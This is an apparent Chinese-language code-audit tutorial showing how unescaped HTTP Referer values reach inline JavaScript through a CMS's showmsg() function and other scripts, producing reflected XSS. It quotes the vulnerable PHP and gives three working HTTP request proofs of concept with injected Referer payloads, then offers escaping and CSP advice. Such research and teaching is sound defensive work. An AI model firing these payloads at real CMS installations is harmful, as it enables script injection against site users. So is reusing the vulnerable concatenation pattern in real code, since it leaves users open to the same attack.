代码审计之cms从$_SERVER入手的xss 0day
字数 1249 2025-08-22 22:47:30
代码审计实战:从$_SERVER变量入手的XSS漏洞挖掘
前言
本文通过分析一个CMS系统的代码审计过程,详细讲解如何从$_SERVER变量入手发现XSS漏洞。本教程适合刚入门代码审计的安全研究人员学习,重点介绍审计思路和漏洞挖掘方法。
漏洞背景
在PHP开发中,$_SERVER是一个包含了诸如头信息(header)、路径(path)和脚本位置(script locations)等信息的超全局变量。其中$_SERVER['HTTP_REFERER']表示当前页面的来源地址,这个值可以通过HTTP请求头中的Referer字段控制。
审计过程
1. 参数过滤机制分析
首先分析系统的全局过滤机制:
// 在global.php中发现的过滤逻辑
function stopsqlin($str){
remove_xss($str);
if(!is_array($str)) {
$str=strtolower($str);
$sql_injdata = "";
$sql_injdata= $sql_injdata."|".stopwords;
$sql_injdata=cutfgx($sql_injdata,"|");
$sql_inj = explode("|",$sql_injdata);
for ($i=0; $i< count($sql_inj);$i++){
if (@strpos($str,$sql_inj[$i])!==false) {
showmsg ("参数中含有非法字符 [".$sql_inj[$i]."] 系统不与处理");
}
}
}
}
关键点:
- 系统对
$_REQUEST进行了过滤 - 使用了
remove_xss函数进行XSS防护 - 过滤机制通过
checksqlin配置决定是否开启
2. 发现过滤绕过点
在g/dl_liuyan_save.php文件中发现以下代码:
$dlsname = $_POST["name"];
$saver = $_POST["fbr"];
checkstr($dlsname, 'quanhanzi','联系人',$_SERVER['HTTP_REFERER']);
checkstr($tel, 'tel','电话号码',$_SERVER['HTTP_REFERER']);
// ...省略中间代码...
if ($isok){
showmsg('成功提交',$_SERVER['HTTP_REFERER']);
}else{
showmsg('失败提交',$_SERVER['HTTP_REFERER']);
}
关键发现:
$_SERVER['HTTP_REFERER']直接传入showmsg函数- 全局过滤只对
$_SERVER进行了小写转换,没有进行XSS过滤
3. 分析showmsg函数
function showmsg($msg,$zc_url = 'back',$exit=''){
$str="<!DOCTYPE html>";
$str.="<meta http-equiv='Content-Type' content='text/html; charset=utf-8'>";
if($zc_url && $zc_url!='back' && $zc_url!='null'){
$str.="<script>alert('$msg');parent.location=\"$zc_url\";</script>";
}elseif($zc_url=='null'){
$str.="<script>alert(\"$msg\")</script>";
}else{
$str.="<script>alert(\"$msg\");history.back();</script>";
}
echo $str;
}
漏洞点:
$zc_url参数直接拼接到JavaScript代码中- 当
$zc_url为$_SERVER['HTTP_REFERER']时,攻击者可控制该值
4. 漏洞复现POC
漏洞1:g/dl_liuyan_save.php XSS
构造HTTP请求:
POST /g/dl_liuyan_save.php HTTP/1.1
Host: target.com
Referer: ";alert(123);</script><script>"
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
漏洞2:ask/caina.php XSS
// ask/caina.php代码片段
require("../inc/conn.php");
$answerid = $_POST['answerid'];
$askid = $_POST['askid'];
checkid($answerid);
checkid($askid);
// ...省略中间代码...
showmsg('采纳成功',$_SERVER['HTTP_REFERER']);
POC:
POST /ask/caina.php HTTP/1.1
Host: target.com
Referer: ";alert(123);</script><script>"
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
漏洞3:g/list.php XSS
// g/list.php代码片段
if (isset($action)&& $action=='clearcookies'){
setcookie("zzcmscpid","xxx",1);
echo "<script>location.href='".$_SERVER['HTTP_REFERER']."'</script>";
}
POC:
POST /g/list.php HTTP/1.1
Host: target.com
Referer: ';alert(1);'
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
action=clearcookies
漏洞原理总结
- 输入源:攻击者通过控制HTTP Referer头控制
$_SERVER['HTTP_REFERER']的值 - 过滤缺失:系统对
$_SERVER变量只做了小写转换,没有进行XSS过滤 - 危险输出:未经过滤的输入直接拼接到JavaScript代码中输出
- 触发条件:任何使用
$_SERVER['HTTP_REFERER']作为showmsg函数第二个参数的地方都可能存在漏洞
防御建议
- 对所有用户可控的输入进行过滤,包括
$_SERVER变量 - 对输出到HTML/JavaScript中的内容进行适当的编码或转义
- 使用专门的XSS过滤函数处理所有输出
- 避免直接将用户输入拼接到JavaScript代码中
- 使用Content Security Policy (CSP)限制脚本执行
审计技巧
- 全局搜索:搜索
$_SERVER['HTTP_REFERER']的使用点 - 函数追踪:追踪
showmsg等输出函数的使用 - 过滤分析:分析系统全局过滤机制,找出过滤不完整的地方
- 参数传递:关注参数从输入到输出的完整传递路径
- 上下文分析:注意输出内容的上下文环境(HTML/JavaScript等)
通过这种方法,可以系统地发现类似的XSS漏洞。